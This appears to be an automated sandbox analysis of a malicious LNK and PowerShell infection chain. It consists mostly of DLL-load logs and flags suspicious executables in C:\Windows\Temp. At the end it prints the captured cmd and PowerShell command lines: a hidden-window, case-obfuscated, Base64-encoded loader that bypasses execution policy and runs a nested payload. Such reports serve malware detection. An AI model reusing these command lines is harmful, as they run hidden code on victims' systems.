Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mshtml.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msiso.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wlidsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gamestreamingext.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msauserext.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: tbs.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptngc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptnet.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: elscore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: elstrans.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: apphelp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: edgegdi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: icu.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: winhttp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: mswsock.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: wshunix.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: winrnr.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: nlaapi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: wshbth.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: devobj.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: napinsp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: winnsi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: sspicli.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: schannel.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: msasn1.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: apphelp.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: version.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: edgegdi.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: icu.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: winhttp.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: mswsock.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: wshunix.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: winrnr.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: nlaapi.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: wshbth.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: devobj.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: napinsp.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: winsta.dll

Source: C:\Windows\System32\systeminfo.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\systeminfo.exe "C:\Windows\system32\systeminfo.exe"

Source: L0jeOoavu4.lnk

LNK file: ..\..\..\Windows\system32\cmd.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE

Directory created: C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Jump to behavior

Source:	Binary string: ?\C:\Windows\dll\mscorlib.pdbFIER=Intel64 Family 6 Model 158 Step source: powershell.exe, 00000008.00000002.290204132689.000001A1208E0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: t.Automation.pdb source: powershell.exe, 00000008.00000002.290204132689.000001A1208E0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 00000010.00000002.291076631092.000001D79C36F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: stem.Management.Automation.pdbPro\_ source: powershell.exe, 00000008.00000002.290204132689.000001A1208E0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: em.pdb source: powershell.exe, 00000010.00000002.291076631092.000001D79C3DA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: rlib.pdbA^ source: powershell.exe, 00000008.00000002.290204132689.000001A1208E0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: rlib.pdb source: powershell.exe, 00000008.00000002.290204132689.000001A1208E0000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String("R1poYkhObEtTQjdEUW9nSUNBZ1UwVkpTRWRYVGsxRVVTQWlUbTkwSUZKMWJtNXBibWNnU1c0Z2RHaHBjeUJsYm5acGNtOXRaVzUwSWcwS0lDQWdJR1Y0YVhRN0RRcDlEUW9OQ21aMWJtTjBhVzl1SUVOdmJuWmxjblF0Um1sc1pWZHBkR2hZYj

PowerShell case anomaly found

Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /v /k "powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAGgAQQBGAG8AQQBRAFEAQQA5AEEARAAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARQA0AEEAZABBAEIARgBBAEUANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="" && exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHA